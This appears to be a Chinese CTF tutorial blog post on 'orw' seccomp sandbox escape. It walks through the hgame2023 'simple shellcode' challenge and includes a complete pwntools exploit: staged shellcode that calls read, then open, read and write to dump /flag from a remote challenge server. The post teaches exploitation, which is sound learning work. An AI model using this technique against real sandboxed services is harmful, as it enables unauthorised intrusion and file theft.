orw(沙箱逃逸)

现在有很多程序在运行时禁用了系统函数,均采用了沙箱技术开启了沙箱保护,我们不能正常的get shell,只能用ROP链来调用其他的函数,例如read,write来把flag打印出来。这就是orw沙箱逃逸技术的由来。

查看沙箱

在实战中我们可以通过 seccomp-tools来查看程序是否启用了沙箱, seccomp-tools工具安装方法如下:

$ sudo apt install gcc ruby-dev
$ gem install seccomp-tools

安装完成后通过 seccomp-tools dump ./pwn即可查看程序沙箱。

沙箱函数

最原始的沙箱规则是用prctl()函数规定的,这个函数规定了程序哪些函数在程序里不能被调用,所以以后遇见了这种函数,那大概率是开了沙箱。

int **prctl** ( int **option**,unsigned long arg2,unsigned long arg3,unsigned long arg4,unsigned long arg5 )

mmap()

一般来说,orw这种类型的题都会有一个mmap函数来改写一个地址的读写权限,我们需要利用这块地址来构造ROP链。

void *mmap (void *addr, size_t length, int prot, int flags, int fd, off_t offset);

例题:hgame2023 simple shellcode

题目链接:NSSCTF

下载附件,打开题目,可以看见mmap和read函数

mmap函数给了0xcafe0000这个地址一个可读写可执行权限,read函数能够读取0x10的数据到该地址上,最后将该处内存作为函数调⽤。那这里就可以写入shellcode。

继续跟进sandbox函数

可以看见有两个prctl函数,可以判断程序利用了沙盒保护,用seccomp-tools进行检查

可以看出禁用了execve和execveat,这样子get shell就很难了,只能使用orw。

利用思路:

1.因为0x10这个空间很小,我们没办法在上面构建shellcode,那就只能再重新调用一个read函数。

2.调用完了read函数后,利用orw来打开flag文件,并进行读取。

exp如下:

from pwn import *

#p = process('./vuln')
p=remote('1.14.71.254',28371)
elf = ELF('./vuln')
context.log_level = 'debug'

context.terminal = ["konsole", "-e"]
context.arch = "amd64"
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
s = lambda x: p.send(x)

shellcode = asm("""
xor eax,eax
xor edi,edi
mov edx,0x1000
mov esi,0xcafe0000
syscall
""")    #这里是调用read函数
sa("Please input your shellcode:",shellcode)
shellcode = b"\x90" * 0x100  #这里的'\x90'是把程序的其他指令改写成nop,即去掉其他指令
shellcode += asm(shellcraft.open("/flag"))
shellcode += asm(shellcraft.read(3,0xcafe0100,0x100))
shellcode += asm(shellcraft.write(1,0xcafe0100,0x100))
s(shellcode)
ia()

orw还有一些其他限制,例如or缺w,rw缺o的情况,这里只是一个入门报告,就不详细介绍了,具体可以看这篇文章浅谈 ORW

最新文章

  1. vertx简单客户端创建
  2. 告别div,可以代替div的几个标签
  3. ubuntu打开 txt 文件乱码
  4. dtree的使用
  5. Dijkstra算法求解最短路径分析
  6. sphinx 简介以及安装 以及php拓展开启
  7. include子页面传递过来的参数传递到后台
  8. 瀑布流的三种实现方式(原生js+jquery+css3)
  9. DOM4J介绍与代码示例
  10. Linux JDK配置
  11. 阿里云RDS for SQL Server使用的一些最佳实践
  12. Mysql服务启动与关闭
  13. C# 说说lock到底锁谁?(2)
  14. Inferred type 'S' for type parameter 'S' is not within its bound;
  15. HashMap从源码分析数据结构
  16. vue-router填坑之路
  17. 使用Photoshop实现雪花飘落的效果
  18. CyanogenMod---android
  19. pthread线程初始化(pthread_once)
  20. jquery remove()不兼容问题解决方案

热门文章

  1. python实现AES加密解密
  2. Linux 使用打印机
  3. vulnhub靶场之Chronos:1
  4. Go1.20 新版覆盖率方案解读
  5. kernel 启动流程
  6. C#中的进程检测退出事件和座位状态改变事件深入浅出谈谈EventHandler的使用
  7. docker registry(私库)搭建,使用,WEB可视化管理部署
  8. 终于定制出顺手的Obsidian斜杠命令
  9. org.apache.catalina.startup.HostConfig.deployWAR Error deploying web application archive
  10. 为测试管理正名,华为云CodeArts TestPlan的守护之道